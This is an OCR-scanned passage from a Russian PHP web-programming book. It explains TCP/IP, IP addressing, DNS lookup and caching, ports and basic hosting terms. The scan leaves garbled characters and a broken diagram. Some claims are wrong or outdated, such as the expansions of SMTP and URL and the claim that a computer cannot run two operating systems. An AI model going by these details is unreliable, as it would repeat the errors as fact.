глобальная. Тут ситуация сходна со словом "галактика": наша галактика назы-
вается Галактикой с прописной буквы, а "галактика" со строчной буквы соответ-
ствует любой другой звездной системе подобных размеров. На самом деле,
сходство Сети и Галактики идет несколько дальше орфографии, и, я думаю , вы
скоро также проникнетесь этой мыслью.

Необходимость некоторой стандартизации возникла чуть ли не с самого
момента возникновения компьютерных сетей. Действительно, подчас одной
сетью объединены компьютеры , работающие под управлением не только
различных операционных систем, но нередко имеющие и совершенно раз-
личную архитектуру процессора, организацию памяти и т. д. Именно для
того, чтобы обеспечивать возможность передачи между такими компьютера-
ми, и предназначены всевозможные протоколы. Давайте рассмотрим этот
вопрос чуть подробнее.

Разумеется, для разных целей существуют различные протоколы. К счастью,
нам не нужно иметь представление о каждом из них — достаточно знать
только тот, который мы будем использовать в Web-программировании . Та-

----------------------- Page 27-----------------------
12 Часть I. Основы Web-программирования

ковым для нас является протокол TCP (Transmission Control Protocol — Про-
токол управления передачей данных), а точнее, протокол HTTP (Hypertext
Transfer Protocol — Протокол передачи гипертекста), базирующийся на TCP.
Протокол HTTP как раз и задействуется браузерами и Web-серверами.

Заметьте, что уже в самом начале первой главы я упомянул о том, что один
протокол может использовать в своей работе другой. В мире Интернета эта
ситуация является совершенно обычной. Чаще всего каждый из протоколов,
участвующих в передаче данных по сети, реализуется в виде отдельного и по
возможности независимого программного обеспечения или драйвера. Среди
них существует некоторая иерархия, когда один протокол является всего лишь
"надстройкой" над другим, тот, в свою очередь — над третьим, и т. д. до са-
мого "низкоуровневого" драйвера, работающего уже непосредственно на фи-
зическом уровне с сетевыми картами или модемами. На рис. 1.1 приведена
примерная схема того, что происходит при отправке запроса браузером поль-
зователя на некоторый Web-сервер в Интернете. Прямоугольниками обозна-
чены программные компоненты: драйверы протоколов и программы-
абоненты (последние выделены жирным шрифтом), направление передачи
данных указано стрелками. Конечно, в действительности процесс гораздо бо-
лее сложен, но нам сейчас нет необходимости на этом останавливаться.

Обратите внимание, что в пределах каждой системы протоколы на схеме
расположены в виде "стопки", один над другим. Такая структура обуславли-
вает то, что часто семейство протоколов обмена данными в сети Интернет
называют стеком TCP/IP (стек в переводе с английского как раз и обозна-
чает "стопку").

Машина клиента Машина сервера

Браузер Web-сервер

t i

Ч г

TCP TCP

ч 1 :'
IP IP
[
. .

1
>
Физический Интернет Физический
протокол протокол

Рис. 1.1. Организация обмена данными в Интернете

----------------------- Page 28-----------------------
Глава 1. Принципы работы Интернета 13

Каждый из протоколов в идеале "ничего не знает" о том, какой протокол
"стоит над ним" . Например , протокол IP (который обеспечивает несколько
более простой сервис по сравнению с TCP) не использует возможности
протокола TCP, a TCP, в свою очередь, "не догадывается" о существовании
протокола HTTP (именно его задействует браузер и понимает Web-сервер,
на схеме протокол HTTP не обозначен).

Применение такой организации позволяет заметно упростить ту часть опе-
рационной системы, которая отвечает за поддержку работы с сетью. А я тем
временем прошу вас не пугаться. Нас будет интересовать в конечном итоге
всего лишь протокол самого высокого уровня, "возвышающийся" над всеми
остальными протоколами, т. е. HTTP и то, как он взаимодействует с прото-
колом TCP.

Семейство TCP/IP

Как мы уже знаем, в сети Интернет в качестве основного выбирается прото-
кол TCP, хотя, конечно, этот выбор обусловлен скорее историческими при -
чинами, нежели его действительными преимуществами (впрочем, преиму -
ществ у TCP также предостаточно). Он ни в коей мере не претендует на
роль низкоуровневого — наоборот, в свою работу он вовлекает другие про-
токолы, например , IP (в свою очередь, IP также базируется на услугах, пре-
доставляемых некоторыми другими протоколами). Протоколы TCP и IP на-
столько сильно связаны , что принято объединять их в одну группу под
названием семейство TCP/IP (в него включается также протокол UDP , ко-
торый мы рассматривать не будем). Ниже приводятся основные особенно-
сти протокола TCP, входящего в семейство.

П! Корректная доставка данных до места назначения гарантируется — разу-
меется, если такая доставка вообще возможна. Даже если связь не вполне
надежна (например, на линии помехи оттого, что в кабель попала вода,
замерзшая зимой и разорвавшая оболочку провода), "потерянные" фраг-
менты данных посылаются снова и снова до тех пор, пока вся информа-
ция не будет передана.

П Передаваемая информация представлена в виде потока — наподобие то-
го, как осуществляется обмен с файлами практически во всех операци -
онных системах. Иными словами, мы можем "открыть" соединение и за-
тем выполнять с ним те же самые операции, к каким мы привыкли при
работе с файлами. Таким образом, программы на разных машинах (воз-
можно, находящихся за тысячи километров друг от друга), подключенных
к Интернету , обмениваются данными так же непринужденно , как и рас-
положенные на одном компьютере.

П TCP/IP устроен так, что он способен выбрать оптимальный путь распро-
странения сигнала между передающей и принимающей стороной, даже ее-

----------------------- Page 29-----------------------
14 Часть I. Основы Web-программирования

ли сигнал проходит через сотни промежуточных компьютеров. В послед-
нем случае система выбирает путь, по которому данные могут быть переда-
ны за минимальное время, основываясь при этом на статистическую ин-
формацию работы сети и так называемые таблицы маршрутизации.

П При передаче данные разбиваются на фрагменты — пакеты, которые и
доставляются в место назначения по отдельности. Разные пакеты вполне
могут следовать различными маршрутами в Интернете (особенно если их
путь пролегает через десятки серверов), но для всех них гарантирована
правильная "сборка" в месте назначения (в нужном порядке). Как уже
упоминалось, принимающая сторона в случае обнаружения "недосдачи"
пакета запрашивает передающую систему, чтобы та передала его еще раз.
Все это происходит незаметно для программного обеспечения, эксплуа-
тирующего TCP/IP.
В Web-программировании нам вряд ли придется работать с TCP/IP напря-
мую (разве что в очень экзотических случаях) — обычно можно использо-
вать более высокоуровневые "языки" , например , HTTP, служащий для об-
мена информацией между сервером и браузером. Собственно, этому прото-
колу посвящена значительная часть книги . Его мы рассмотрим подробно
чуть позже. А пока давайте поговорим еще немного о том, что касается
TCP/IP, чтобы не возвращаться к этому впоследствии.

Адресация с Сети

Машин в Интернете много, это факт. Так что вопрос о том, как можно их
эффективно идентифицировать в пределах этой сети, оказывается далеко не
праздным. Кроме того, практически все современные операционные систе-
мы работают в многозадачном режиме (поддерживают одновременную рабо-
ту нескольких программ). Это значит, что возникает также вопрос о том,
как нам идентифицировать конкретную систему или программу , желающую
обмениваться данными через Сеть. Эти две задачи решаются стеком TCP/IP
при помощи IP-адреса и номера порта. Давайте посмотрим, как.

Замечание

Все, о чем рассказано далее, не является непреложной истиной. Скорее даже
наоборот. Местами может показаться, что я "ломлюсь в открытую дверь" — пы-
таюсь доказать существование того, что и так существует. И все-таки, на мой
взгляд, чтобы понять что-то, нужно сначала проникнуться мыслью, что основы
этого "что-то" довольно просты, пусть даже они и абстрактны.

IP-адрес

Любой компьютер, подключенный к Интернету и желающий обмениваться
информацией со своими "сородичами", должен иметь некоторое уникальное

----------------------- Page 30-----------------------
Глава 1. Принципы работы Интернега 15

имя, или IP-адрес. Вот уже 30 лет (думаю , и в ближайшее десятилетие тоже)
IP-адрес выглядит примерно так:

127.12.232.56

Как мы видим, это — четыре 8-разрядных числа (то есть принадлежащих
диапазону от 0 до 255 включительно) , соединенные точками . Не все числа
допустимы в записи IP-адреса: ряд из них используется в служебных целях
(например, адрес 127.о . о . 1 выделен для обращения к локальной машине -
той, на которой был произведен запрос, а число 255 соответствует широко-
вещательной рассылке в пределах текущей подсети). Мы не будем здесь об-
суждать эти исключения детально.

Возникает вопрос: ведь компьютеров в Интернете миллионы (а скоро будут
миллиарды). Как же мы, простые пользователи, запросив IP-адрес машины ,
в считанные секунды с ней соединяемся? Как "оно" (и что это за "оно"?)
узнает, где на самом деле расположен компьютер и устанавливает с ним
связь, а в случае неверного адреса адекватно на это реагирует? Вопрос ак-
туален, поскольку машина , с которой мы собираемся связаться, вполне мо-
жет находиться за океаном, и путь к ней пролегает через множество проме-
жуточных серверов.

В деталях вопрос определения пути к адресату довольно сложен. Однако
достаточно нетрудно представить себе общую картину , точнее, некоторую ее
модель. Предположим , что у нас есть 1 миллиард компьютеров (давайте за-
высим цифры) , каждый из которых напрямую соединен с 1 1 (к примеру)
другими через кабели. Получается этакая паутина из кабелей, не так ли ?
Кстати, это объясняет, почему одна из наиболее популярных служб Интер-
нета, базирующаяся на протоколе HTTP, названа WWW (World Wide Web,
или Всемирная паутина) .

( Замечание \

Следует заметать, что в реальных условиях, конечно же, компьютеры не со-
единяют друг с другом таким большим количеством каналов. Вместо этого
применяются всевозможные внутренние таблицы, которые позволяют компью-
теру "знать", где конкретно располагаются некоторые ближайшие его соседи.
То есть любая машина в Сети имеет информацию о том, через какие узлы
должен пройти сигнал, чтобы достигнуть самого близкого к ней адресата — а
если не обладает этими знаниями, то получает их у ближайшего "сородича" в
момент загрузки операционной системы. Разумеется, размер таких таблиц ог-
раничен и они не могут содержать маршруты до всех машин в Интернете (хотя
в самом начале развития Интернета, когда компьютеров в Сети было немного,
именно так и обстояло дело). Потому-то я и провожу аналогию с одиннадцатью
соседями.

Итак, мы сидим за компьютером номер 1 и желаем соединиться с машиной
somehost с таким-то IP-адресом. Мы даем нашему компьютеру запрос: вы-
ясни-ка у своих соседей, не знают ли они чего о somehost . Он рассылает в

----------------------- Page 31-----------------------
16 _ Часть I. Основы Web-программирования

одиннадцать сторон этот запрос (считаем, что это занимает 0,1 с, т. к. все
происходит практически одновременно — размер запроса не настолько ве-
лик , чтобы сказалась задержка передачи данных) , и ждет, что ему ответят.
Что же происходит дальше? Нетрудно догадаться. Каждый из компьютеров
окружения действует по точно такому же плану. Он спрашивает у своих деся-
терых соседей, не слышали ли они чего о somehost . Это, в свою очередь, за-
нимает еще 0,1 с. Что же мы имеем? Всего за 0,2 с проверено уже 11x10=
= 110 компьютеров. Но это еще не все, ведь процесс нарастает лавинообразно.
Нетрудно подсчитать, что за время порядка 1 секунды мы "разбудим" 10 в де-
сятой степени машин , т. е. в 10 раз больше, чем мы имеем!
Конечно, на самом деле процесс будет идти медленнее: какие-то системы
могут быть заняты и не ответят сразу. С другой стороны, мы должны иметь
механизм, который бы обеспечивал, чтобы одна машина не "опрашивалась"
многократно. Но все равно, согласитесь, результаты впечатляют, даже если
их и придется занизить для реальных условий хоть в 100 раз.

Замечание )

В действительности дело обстоит куда сложнее. Отличия от представленной
схемы частично заключаются в том, что компьютеру совсем не обязательно
"запрашивать" всех своих соседей — достаточно ограничиться только некото-
рыми из них. Для убыстрения доступа все возможные IP-адреса делятся на че-
тыре группы — так называемые адреса подсетей классов А, В, С и D. Но для
нас сейчас это не представляет никакого интереса, поэтому не будем задержи-
ваться на деталях. О TCP/IP можно написать целые тома (что и делается).

Доменное имя

И все-таки обычным людям довольно неудобно работать с IP-представлением
адреса. Действительно, куда как проще запомнить символьное имя, чем набор
чисел. Чтобы облегчить простым пользователям работу с Интернетом, приду-
мали систему DNS (Domain Name System — Служба имен доменов).

Замечание

Общемировая DNS представляет собой распределенную базу данных, способ-
ную преобразовать доменные имена машин в их IP-адреса. Это не так-то про-
сто, учитывая, что скоро Интернет будет насчитывать десятки миллионов ком-
пьютеров. Поэтому мы не будем в деталях рассматривать то, как работает
служба DNS, а займемся больше практической стороной вопроса.

Итак, при использовании DNS любой компьютер в Сети может иметь не
только IP-адрес, но также и символическое имя. Выглядит оно примерно так:

www.somehost.msu.su

To есть, это набор слов (их число произвольно), опять же соединенных точ-
кой. Каждое такое сочетание слов называется доменом N-го уровня (напри-

----------------------- Page 32-----------------------
Глава 1. Принципы работы Интернета 17

мер, su — домен первого уровня, m s u . s u - - второго, somehost.msu.su -
третьего и т. д.)

Вообще говоря, полное DNS-имя выглядит немного не так: в его конце обя-
зательно стоит точка, например :

www . somehost . msu . su .

Именно такое (вообще-то, и только такое) представление является правиль-
ным , но браузеры и другие программы часто позволяют нам опускать за-
вершающую точку. В принятой нами терминологии будем называть эту точ-
ку доменом нулевого уровня, или корневым доменом.

^ Примечание

Интересно, и почему так популярна в компьютерной технике точка? В именах
файлов — точка. В IP- и DNS-адресе — точка. Практически во всех языках про-
граммирования для доступа к объединениям данных — тоже точка. Существу-
ют и другие примеры. Похоже, точка прочно въелась в наши умы, и мы уже не
представляем, что бы могло ее заменить...

Нужно заметить, что одному и тому же IP-адресу вполне может соответство-
вать сразу несколько доменных имен . Каждое из них ведет в одно и то же
место — к единственному IP-адресу. Благодаря протоколу HTTP 1. 1 (мы
вскоре кратко рассмотрим его особенности) Web-сервер, установленный на
машине и откликающийся на какой-либо запрос, способен узнать , какое
доменное имя ввел пользователь, и соответствующим образом среагировать,
даже если его IP-адресу соответствует несколько доменных имен . В послед-
нее время HTTP 1. 1 применяется практически повсеместно — не то, что не-
сколько лет назад, поэтому все больше и больше серверов используют его в
качестве основного протокола для доступа к Web.

Интересен также случай, когда одному и тому же DNS-имени сопоставлены
несколько разных IP-адресов. В этом случае служба DNS автоматически вы-
бирает тот из адресов, который, по ее мнению, ближе всего расположен к
клиенту, или который давно не использовался, или же наименее загружен
(впрочем, последняя оценка может быть весьма и весьма субъективна). Эта
возможность часто задействуется, когда Web-сервер становится очень боль-
шим (точнее, когда число его клиентов начинает превышать некоторый
предел) и его приходится обслуживать сразу нескольким компьютерам. Та-
кая схема используется, например, на сайте компании Netscape.
Как же ведется поиск по DNS-адресу? Для начала он преобразуется специ-
альными DNS-серверами, раскиданными по всему миру, в IP-адрес. Давайте
посмотрим, как это происходит. Пусть клиентом выдан запрос на определе-
ние IP-адреса машины w w w . h o s t . r u . (еще раз обратите внимание на завер-
шающую точку! — это не конец предложения) . Чтобы его обработать, пер-
вым делом посылается запрос к так называемому корневому домену (точнее,
к программе — DNS-серверу, запущенному на этом домене), который имеет

----------------------- Page 33-----------------------
18 Часть I. Основы Web-программирования

имя ". " (на самом деле его база данных распределена по нескольким ком-
пьютерам, но для нас это сейчас несущественно). Запрос содержит команду:
вернуть IP-адрес машины (точнее, IP-адрес DNS-сервера), на котором рас-
положена информация о домене ru. Как только IP-адрес получен , по нему
происходит аналогичное обращение с просьбой — определить адрес, соот-
ветствующий домену host внутри домена ru внутри корневого домена "." .
В конце у предпоследней машины запрашивается IP-адрес поддомена www в
домене somehost.ru .
Важно, что каждый домен "знает" все о своих поддоменах, а те, в свою оче-
редь — о своих, т. е. система имеет некоторую иерархичность. Корневой до-
мен, как мы уже заметили, принято называть доменом нулевого уровня , до-
мен ru . (в нашем примере)- - первого, host.ru . -- второго уровня , ну
и т. д. При изменении доменов некоторого уровня об этом должны узнать
все домены, родительские по отношению к нему, для чего существуют спе-
циальные протоколы синхронизации . Нам сейчас нет нужды вникать, как
они действуют — скажу только, что распространяются сведения об измене-
ниях не сразу, а постепенно, спустя некоторое время, задаваемое админист-
ратором DNS-сервера, и рассылкой также занимаются DNS-серверы.

Просто? Не совсем. Представьте, какое бы произошло столпотворение на
корневом домене "." , если бы все запросы на получение IP-адреса проходи-
ли через него. Чтобы этого избежать, практически все машины в Сети кэ-
шируют информацию о DNS-запросах, обращаясь к корневому домену (и
доменам первого уровня — ru , com и т. д.) лишь изредка для обновления
этого кэша. Например , пусть пользователь, подключенный через модем к
провайдеру, впервые соединяется с машиной w w w . h o s t . r u . В этом случае
будет передан запрос корневому домену, а затем, по цепочке, поддомену
host и, наконец , домену www . Если же пользователь вновь обратится к
w w w . h o s t . r u . , то сервер провайдера сразу же вернет ему нужный IP-адрес,
потому что он сохранил его в своем кэше запросов ранее. Подобная техно-
логия позволяет значительно снизить нафузку на DNS-серверы в Интерне-
те. В то же время у нее имеются и недостатки, главный из которых — веро-
ятность получения ложных данных, например, в случае, если хост host.ru .
только что отключился или сменил свой IP-адрес. Так как кэш обновляется
сравнительно редко, мы всегда можем столкнуться с такой ситуацией .

Конечно, не обязательно, чтобы все компьютеры, имеющие различные до-
менные имена, были разными или даже имели уникальные IP-адреса: впол-
не возможна ситуация, когда на одной и той же машине на одном и том же
IP-адресе располагаются сразу несколько доменных имен .

( Замечание^ ^

Здесь и далее я иногда буду подразумевать, что одной машине в Сети всегда со-
ответствует уникальный IP-адрес, и наоборот, для каждого IP-адреса существует
своя машина, хотя это, разумеется, не так. Просто так получится немного короче.

----------------------- Page 34-----------------------
Глава 1. Принципы работы Интернета 19

Порт

Итак, мы ответили на первый поставленный вопрос — как адресовать от-
дельные машины в Интернете. Теперь давайте поглядим , как нам быть с
программным обеспечением, использующим Сеть для обмена данными .

До сих пор мы расценивали машины, подключенные к Интернету, как не-
кие неделимые сущности . Так оно, в общем-то, и есть (правда, с некоторы-
ми оговорками) с точки зрения протокола IP. Но TCP использует в своей
работе несколько другие понятия . А именно , для него отдельной сущностью
является процесс — программа , запущенная где-то на компьютере в Интер-
нете. Именно между процессами, а не между машинами , и осуществляется
обмен данными в терминах протокола TCP. Мы уже знаем, как идентифи-
цируются отдельные компьютеры в Сети. Осталось рассмотреть, как же TCP
определяет тот процесс, которому нужно доставить данные .

Пусть на некоторой системе выполняется программа (назовем ее Клиент),
которая хочет через Интернет соединиться с какой-то другой программой
(Сервером) на другой машине в Сети. Для этого должен выполняться ряд
условий , а именно:

П программы должны "договориться" о том, как они будут друг друга иден-
тифицировать ;

П программа Сервер должна находиться в режиме ожидания, что сейчас к
ней кто-то подключится;

Давайте остановимся на первом пункте чуть подробнее. Термин "дого-
вориться" тут не совсем уместен (примерно так же милиция "договари-
вается" с только что задержанным бандитом о помещении его в тюрьму). На
самом деле программа Сервер, как только она запускается , говорит драйверу
TCP, что она собирается использовать для обмена данными с Клиентами
некоторый идентификатор, или порт, целое число в диапазоне от 0 до
65 535 (именно такие числа могут храниться в ячейке памяти размером в 2
байта). TCP регистрирует это в своих внутренних таблицах — разумеется,
только в том случае, если какая-нибудь другая программа уже не "заняла"
нужный нам порт (в последнем случае происходит ошибка). Затем Сервер
переходит в режим ожидания поступления запросов, приходящих на этот
порт. Это означает, что любой Клиент, который собирается вступить в
"диалог" с Сервером, должен знать номер его порта. В противном случае
TCP-соединение невозможно: куда передавать данные, если не знаешь, к
кому подключиться?

Теперь посмотрим , какие действия предпринимает Клиент . Он, как мы ус-
ловились , знает следующее:
П IP-адрес машины, на которой запущен Сервер;

П номер порта, который использует Сервер.

2 Зак . 699

----------------------- Page 35-----------------------
20 Часть I. Основы Web-программирования

Как видим, этой информации вполне достаточно, поэтому Клиент посылает
драйверу TCP команду на соединение с машиной, расположенной по задан-
ному IP-адресу с указанием нужного номера порта. Поскольку Сервер "на том
конце" готов к этому, он откликается, и соединение устанавливается.

Только что я употребил слово "откликается", подразумевая, что Сервер от-
правляет какое-то сообщение Клиенту о том, что он готов к обмену данными .
Но вспомним, что для TCP существует только два понятия для идентифика-
ции процесса: адрес и порт. Так куда же направлять "отклик" Сервера? Оче-
видно, последний должен каким-то образом узнать, какой порт будет исполь-
зовать Клиент для приема сообщений от него (ведь мы знаем, что принимать
данные можно, только зарезервировав для этого у TCP номер порта). Эту ин-
формацию ему как раз и предоставляет драйвер TCP на машине Клиента, ко-
торый непосредственно перед установкой соединения выбирает незанятый
порт из списка свободных на данный момент портов на клиентском компью-
тере и "присваивает" его процессу Клиент. Затем драйвер информирует о но-
мере порта Сервер в первом же сообщении о желании установить соединение.
Собственно, это и составляет смысл такого сообщения.

Как только обмен "приветственными" сообщениями закончен (его еще на-
зывают "тройным рукопожатием", потому что в общей сложности посылает-
ся 3 таких сообщения), между Клиентом и Сервером устанавливается логиче-
ский канал связи. Программы могут использовать его, как обычный канал
Unix (это напоминает случай файла, открытого на чтение и запись одновре-
менно). Иными словами, Клиент может передать данные Серверу, записав
их с помощью системной функции в канал, а Сервер — принять их, прочи-
тав из канала. Впрочем, мы вернемся к этому процессу ближе к концу
книги, когда будем рассматривать функцию PHP f sockopen ( ) .

Терминология

Далее в этой книге я буду часто применять некоторые термины, связанные с
"сущностями" в сети Интернет. Чтобы не было разногласий, сразу условим-
ся, что я буду понимать под конкретными понятиями . Перечисляю их в том
порядке, в котором, на мой взгляд, они идут по логике вещей, чтобы ни од-
но предыдущее слово не "цеплялось" за следующее. Это — порядок "от про-
стого к сложному". Собственно, именно по этому принципу построена вся
книга, которую вы держите в руках.

Сервер

Сервер — любой отдельно взятый компьютер в Интернете, который позволя-
ет другим машинам , грубо говоря, использовать себя в качестве "посред-
ника" при передаче данных. Также все серверы участвуют в вышеописанной
"лавине" поиска компьютера по ее IP-адресу, на многих хранится какая-то

----------------------- Page 36-----------------------
Глава 1. Принципы работы Интернета 21

информация, доступная или нет извне . Сервер - • это именно машина
("железо"), а не логическая часть Сети, он может иметь несколько различ-
ных IP-адресов (не говоря уже о доменных именах), так что вполне может
выглядеть из Интернета как несколько независимых систем.

Только что я сказал, что сервер — это "железо". Пожалуй, это слишком ме-
ханистический подход. Мы можем придерживаться и другой точки зрения,
тоже в некоторой степени правильной. Отличительной чертой сервера явля-
ется то, что он использует один-единственный стек TCP/IP, т. е. на нем за-
пущено только по одному "экземпляру" драйверов протоколов. Пожалуй, это
будет даже правильнее , хотя в настоящее время оба определения почти эк-
вивалентны (просто современный компьютер не настолько мощен, чтобы на
нем могли бы функционировать одновременно две операционные системы,
а следовательно, и несколько стеков TCP/IP). Посмотрим, как будет с этим
обстоять дело в будущем.

У термина "сервер" есть и еще одно, совершенно другое, определение — это
программа (в терминологии, TCP - • процесс), обрабатывающая запросы
клиентов. Например, приложение , обслуживающее пользователей WWW ,
называется Web-сервером. Как правило, из контекста будет ясно, что кон-
кретно имеется в виду. Все же, чтобы не путаться, иногда я такие програм-
мы буду называть сетевыми демонами.

Узел

Любой компьютер, подключенный к Интернету, имеет свой уникальный IP-
адрес. Нет адреса - нет узла. Узел - совсем не обязательно сервер
(типичный пример — клиент, подключенный через модем к провайдеру).
Вообще, мы можем дать такое определение: любая сущность, имеющая уни-
кальный IP-адрес в Интернете, называется узлом. С этой (логической) точки
зрения Интернет можно рассматривать, как множество узлов, каждый из
которых потенциально может связаться с любым другим . Заметьте, что на
одной системе может быть расположено сразу несколько узлов, если она
имеет несколько IP-адресов. Например , один узел может заниматься только
доставкой и рассылкой почты, второй — исключительно обслуживанием
WWW , а на третьем работает DNS-сервер.

Помните, мы говорили о том, что TCP использует термин "процесс", и каж-
дый процесс для него однозначно идентифицируется IP-адресом и номером
порта. Так вот, этот самый IP-адрес и есть узел.

Порт

Некоторое число, которое идентифицирует программу, желающую прини -
мать данные из Интернета. Таким образом, порт — вторая составляющая
адресации TCP. Любая программа , стремящаяся передать данные другой,

----------------------- Page 37-----------------------
22 Часть I. Основы Web-программирования

должна знать номер порта, который закреплен за последней. Например,
традиционно Web-серверу выделяется порт с номером 80, поэтому, когда вы
набираете какой-нибудь адрес в браузере, запрос идет именно на порт 80
указанного узла .

Сетевой демон

Сетевой демон — это программа, работающая на сервере и занимающаяся
обслуживанием различных пользователей, которые могут к ней подключать-
ся. Иными словами , сетевой демон -- это программа-сервер. Типичный
пример — Web-сервер, а также FTP- и Telnet-серверы.

Е^~ Примечание

Сам термин "сетевой демон" возник на базе устоявшейся терминологии Unix.
В этой системе демоном называют программу, которая постоянно работает на
машине в фоновом режиме, обычно с системными привилегиями суперпользо-
вателя (то есть, эта программа может делать на машине все, что ей угодно, и
не подчиняется правам доступа обычных пользователей). Демон не имеет ни-
какой связи с терминалом (экраном и клавиатурой), поэтому не может ни при-
нимать данные с клавиатуры, ни выводить их на экран. Вот из-за этой "бес-
телесности" его и называют демоном.

Впрочем, к Web-программированию написание сетевых демонов не имеет
почти никакого отношения , поскольку это — удел системного программи-
рования. И все же скажу о них пару слов, т. к. эта область иногда довольно
близко примыкает к Web-программированию . Написание сетевых демо-
нов — дело непростое и, к тому же, обычно требует полного контроля над
"железом" сервера. Фирмы, "продающие" виртуальные хосты в Интернете
(хостинг-провайдеры), не позволяют этого делать из соображений безопас-
ности, а также из-за того, что такая программа постоянно работает на ком-
пьютере и отнимает процессорное время. Поскольку у многих нет своего
собственного узла в Сети (а это стоит обычно около 100—200 долларов в
месяц), возможность создавать такие программы доступна далеко не всем,
потому мы не будем касаться ее в этой книге .

Провайдер

Провайдер — организация , имеющая несколько модемных входов, к которым
могут подключаться пользователи для доступа в Интернет. Все это обычно
происходит не бесплатно (для пользователей, разумеется).

Хост

Хост — с точки зрения пользователя как будто то же, что и узел. В общем-
то, эти понятия очень часто смешивают. Это обусловлено тем, что любой

----------------------- Page 38-----------------------
Глава 1. Принципы работы Интернета 23

узел является хостом. Но хост — совсем не обязательно отдельный узел, ес-
ли это — виртуальный хост. Часто хост имеет собственное уникальное до-
менное имя. Иногда (обычно просто чтобы не повторяться) я буду называть
хосты серверами, что, вообще говоря, совершенно не верно. Фактически,
все, что отличает хост от узла — это то, что он может быть виртуальным.
Итак, еще раз: любой узел — хост, но не любой хост — узел, и именно так я
буду понимать хост в этой книге.

Виртуальный хост

Это — хост, не имеющий уникального IP-адреса в Сети, но, тем не менее,
доступный указанием какого-нибудь дополнительного адреса (например, его
DNS-имени). В последнее время число виртуальных хостов в Интернете по-
стоянно возрастает, что связано с повсеместным распространением прото-
кола HTTP 1.1. С точки зрения Web-браузера (вернее, с точки зрения поль-
зователя, который этим браузером пользуется) виртуальный хост выглядит
так же, как и обычный хост — правда, его нельзя адресовать по IP-адресу.
К сожалению, все еще существуют версии браузеров, не поддерживающие
протокол HTTP 1.1 , которые соответственно не могут быть использованы
для обращения к таким ресурсам.

Замечание

Понятие "виртуальный хост" не ограничивается только службой Web . Многие
другие сервисы имеют свои понятия о виртуальных хостах , совершенно не свя-
занные с Web и протоколом HTTP 1.1. Сервер sendmail службы SMTP (Send
Mail Transfer Protocol — Протокол передачи почты) также использует понятие
"виртуальный хост", но для него это — лишь синоним главного, основного хос-
та, на котором запущен сервер. Например, если хост syn.co m является сино-
нимом для microsoft.com , то адрес E-mail my@syn.com на самом деле озна-
чает my@microsoft.com . Примечательно, однако, что виртуальный хост и в
этом понимании не имеет уникального IP-адреса.

Хостинг-провайдер (хостер)

Организация, которая может создавать хосты (виртуальные или обычные) в
Интернете и продавать их различным клиентам, обычно за определенную
плату. Существует множество хостинг-провайдеров, различающихся по це-
не, уровню обслуживания , поддержке telnet-доступа (то есть доступа в ре-
жиме терминала к операционной системе машины) и т. д. Они могут оказы-
вать услуги по регистрации доменного имени в Интернете, а могут и не
оказывать. При написании этой книги я рассчитывал, что читатель собира-
ется воспользоваться услугами такого хостинг-провайдера, который предос-
тавляет возможность использования РНР (их сейчас большинство). Если вы
еще не выбрали хостинг-провайдера и только начинаете осваивать Web-

----------------------- Page 39-----------------------
24 Часть I, Основы Web-программирования

программирование, не беда: во второй части книги подробно рассказано,
как можно установить и настроить собственный Web-сервер на любом ком-
пьютере с установленной операционной системой Windows. (Это можно
сделать даже на той самой машине , на которой будет работать браузер -
ведь драйверу протокола TCP совершенно безразлично, где выполняется
процесс, к которому будет осуществлено подключение, хоть даже и на том
же самом компьютере.) Используя этот сервер, вы сможете немного потре-
нироваться. Кроме того, он незаменим при отладке тех программ , которые
вы в будущем планируете разместить на настоящем хосте в Интернете.

Хостинг

Те услуги, которые предоставляют клиентам хостинг-провайдеры.

Сайт

Сайт — это часть логического пространства на хосте, состоящая из одной
или нескольких HTML-страниц (иногда представляемых в виде HTML-
документов). Хост вполне может содержать сразу несколько сайтов, разме-
щенных, например, в разных его каталогах. Таким образом, сайт — термин
весьма условный, обозначающий некоторый логически организованный на-
бор страниц.

HTML-документ

Файл, содержащий данные в формате HTML.

Страница (или HTML-страница)

Адресуемая из Интернета минимальная единица текстовой информации
службы World Wide Web, которая может быть затребована у Web-сервера и
отображена в браузере. Часто страница представлена отдельным HTML-
документом, однако в последнее время число таких страниц постоянно со-
кращается — чаще они генерируются автоматически "на лету" какой-нибудь
программой и тут же отсылаются клиенту. Например, гостевая книга, в ко-
торый пользователь может оставить текстовое сообщение, — пример стра-
ницы, не являющейся HTML-документом в обычном смысле. Язык HTML
(Hypertext Markup Language — Язык разметки гипертекста) позволяет встав-
лять в страницы ссылки на другие страницы . Щелкнув кнопкой мыши на
поле ссылки, пользователь может переместиться к тому или иному докумен-
ту. Впрочем, подразумевается, что читатель более-менее знаком с языком
HTML, а потому в этой книге о нем дается минимум сведений — в основ-
ном только те, которые касаются форм.

----------------------- Page 40-----------------------
Глава 1. Принципы работы Интернета 25_

Web-программирование

Этот термин будет представлять для нас особый интерес, потому что являет-
ся темой книги, которую вы держите в руках, уважаемый читатель. Давайте
же наконец проставим все точки над "i".

Только что упоминалось, что страница и HTML-документ — вещи несколь-
ко разные, а также то, что существует возможность создания страниц "на
лету" при запросе пользователя. Разработка программ, которые занимаются
формированием таких страниц , и есть Web-программирование . Все осталь-
ное (в том числе , администрирование серверов, разграничение доступа для
пользователей и т. д.) не имеет к Web-программированию никакого отно-
шения. Фактически, для работы Web-программиста требуется только нали-
чие правильно сконфигурированного и работающего хостинга (возможно,
купленного у хостинг-провайдера, в этом случае уж точно среда будет на-
строена правильно), и это все.

По большому счету эта книга посвящена именно Web-программированию,
за исключением второй части и Приложений . Во второй части рассказано о
том, как за минимальное время настроить "домашний" хостинг на своей
собственной машине, пусть даже и не подключенной к Интернету, т. е.
стать "сам себе хостером". Это не так бесполезно, как может показаться, и
вскоре вы поймете, почему.

С Замечание ^

Между прочим, представленная терминология довольно-таки спорная — в раз-
ных публикациях используются различные термины. Например, однажды я ви-
дел, как хостом называлась любая сущность, имеющая уникальный IP-адрес в
Интернете. Лично я с этим не согласен и буду называть эту сущность узлом.

World Wide Web и URL

В наше время одной из самых популярных "служб" Интернета является World
Wide Web, Web или WWW (все три термина совершенно равносильны). Дей-
ствительно, большинство серверов Сети поддерживают WWW и связанный с
ним протокол передачи HTTP (Hypertext Transfer Protocol — Протокол переда-
чи гипертекста). Служба привлекательна тем, что позволяет организовывать на
хостах сайты — хранилища текстовой и любой другой информации, которая
может быть просмотрена пользователем в интерактивном режиме.

Я думаю, каждый хоть раз в жизни набирал какой-нибудь "адрес" в браузере.
Он называется URL (Universal Resource Locator -- Универсальный иденти-
фикатор ресурса) и обозначает в действительности нечто большее, нежели
чем просто адрес. Для чего же нужен URL? Почему недостаточен лишь один
DNS-адрес?

----------------------- Page 41-----------------------
